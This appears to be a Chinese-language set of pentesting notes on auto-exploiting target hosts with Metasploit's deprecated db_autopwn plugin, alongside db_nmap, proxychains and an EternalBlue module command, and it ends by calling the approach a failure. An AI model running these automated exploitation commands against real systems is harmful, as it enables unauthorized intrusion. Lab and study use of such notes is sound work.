目标:实现对目标主机进行自动漏洞攻击
1 采用db_nmap + db_autopwn
关于db_autopwn:
The db_autopwn command is not officially supported and exists only in a branch.
not well maintained,crashes systems,and crashes itself
use only if you understand it’s current limitations/issues
在使用时造成靶机出现明显被攻击问题
This resulted in the removal of file_autopwn and db_autopwn. Both of these modules were easy to use, but were more likely to fall over and crash than produce useful results. The db_autopwn code started off as a joke and never reached a point where it was actually stable.
这是一个被遗弃的且不推荐使用的插件,目前最新的维护也只停留在2013/4/3。暂且看看能不能达到我们的最低要求吧。
1.1 安装db_autopwn
新版的msf已经不具备该插件,你可以直接在msf内
msf > load db_autopwn
或用(查看返回的信息):
msf > db_autopwn
插件代码连接:db_autopwn.rb
复制网址提供的代码文件放入如下路径,
/usr/share/metasploit-framework/plugins/
此时再load db_autopwn后看到加载成功的信息,输入db_autopwn可以得到其相关命令
1.2 具体操作
db_nmap -Pn 172.17.16.57
**加入-Pn解决’but blocking our ping probes'问题**
hosts:查看数据库内IP
db_autopwn进行自动攻击时,依据的是存在于msf连接的数据库的hosts信息,
这些信息是漏洞扫描时存进去的,在这里你可以用Nmap扫描。
使用hosts 可以查看当前数据库中有哪些host
使用hosts -d可以删除一些不必要的host
使用hosts -a可以添加一些需要加入自动攻击的host
这一些操作中需要批量操作时,可以使用掩码,比如打算删除某个网段的:
hosts -d 192.168.1.0/24
hosts -d 192.168.1.0-45
msf > hosts
漏洞扫描展示
msf > db_autopwn -t -p -r
其中对于自动攻击时指定模块进行自动攻击:
msf > db_autopwn -p -m exploit/windows/smb/ms17_010_eternalblue -e
观察到session由0变1,则可以按ctrl+C进入,因为已经渗透成功一个的意思
使用proxychains + msf + nmap + db_autopwn,可以实现获得对该目标机器的端口相匹配
的漏洞模块的展示,但不精准,因此后面的攻击工作还是需要人工操作
1.3 msfconsole + proxychains + db_autopwn
该方案只适合msfconsole,对于metasploit framework会出现插件加载失败的问题,目前未找到解决方案。
对于msfconsole的数据库连接失败的问题:
failed to connect to the database; could not connect to server:connection
refused.Is the server running on host ‘localhost’(127.0.0.1) and
accepting TCP/IP connections on port 5432?
解决方案:
$ service postgresql start
$ msfdb init
$ msfconsole
$ db_status
如问题依然存在,继续:
配置"/etc/proxychains.conf",添加:
$ localnet 127.0.0.1 000 255.255.255.255
原因:
When you add that line in the proxychains.conf, proxychains will not tunnel connections made to localhost, in this example proxychains will not tunnel the connection to PostgreSQL
1.4 注解
这个方案是破产的,因此我们转而实现自己的脚本自动化,考虑利用python脚本操作msf攻击,转b3